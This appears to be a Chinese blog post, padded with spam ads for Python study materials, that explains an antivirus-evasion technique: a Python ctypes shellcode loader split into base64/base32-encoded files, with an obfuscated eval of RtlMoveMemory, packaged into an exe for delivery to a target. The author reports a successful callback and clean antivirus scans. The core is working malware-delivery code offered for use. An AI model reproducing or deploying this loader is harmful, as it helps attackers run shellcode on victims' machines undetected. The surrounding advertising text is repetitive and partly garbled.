【免杀】分离免杀（python）_shellcode loader免杀，社招面试题目

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新Python全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上Python知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip1024c （备注Python）

正文

loader加密

from base64 import b64encode

下面是加载器的核心函数

code = “”“def shellCodeLoad(shellcode):
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
eval(base64.b64decode(“Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ==”))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))”“”
print(b64encode(code.encode()))

将加密的数据写入到另外的文件中，loader.txt和shellcode1.txt中

from base64 import b32decode, b64decode, b64encode
import ctypes
import base64
import py2exe
import distutils

f = open(‘shellcode1.txt’)
code = f.read()
code = b32decode(b64decode(code))
f.close()

exec(code.decode())

f2=open(‘loader.txt’)
loader=f2.read()
f2.close()
exec(b64decode(loader).decode())

shellCodeLoad(shellcode)

运行代码，成功上线  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/949b1cacf78a4c59989a5ac0a701c270.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/a9fe82a395854d04a62c010528c9341e.png)


## 打包exe


现在功能实现完了，该打包了，linux可能都有python环境，但是window不一定，所以需要打包成exe文件，需要pyinstaller或者py2exe

pip install pyinstaller或
pip install py2exe

[pyinstaller安装使用]( )  
 [py2exe安装使用]( )  
 还需要手动把loader.txt和shellcode1.txt放到和exe文件一个目录，以后使用的时候就打包直接发靶机上


都可以，我测试过两种打包方法都不会报毒


## 结果


报毒报的是之前我打靶机时候下的exp或者别的毒  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/7b2cc09193ab4b0db663164aef1e8e35.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/cc1cfff25a1845d3aca068d5e8f35fac.png)  
 不知道什么情况，是不检测zip吗？另一个检测网站也是这样子的  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/97797a6538b9472ca2931354284521a3.png)


[参考链接]( )







现在能在网上找到很多很多的学习资源，有免费的也有收费的，当我拿到1套比较全的学习资源之前，我并没着急去看第1节，我而是去审视这套资源是否值得学习，有时候也会去问一些学长的意见，如果可以之后，我会对这套学习资源做1个学习计划，我的学习计划主要包括规划图和学习进度表。



分享给大家这份我薅到的免费视频资料，质量还不错，大家可以跟着学习

![](https://img-blog.csdnimg.cn/img_convert/21b2604bd33c4b6713f686ddd3fe5aff.png)




**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友，可以添加V获取：vip1024c （备注python）**
![img](https://img-blog.csdnimg.cn/img_convert/23fd70e56552011488185fb6ea401d9a.png)

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**
4DwUbYfI-1713215481897)]

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**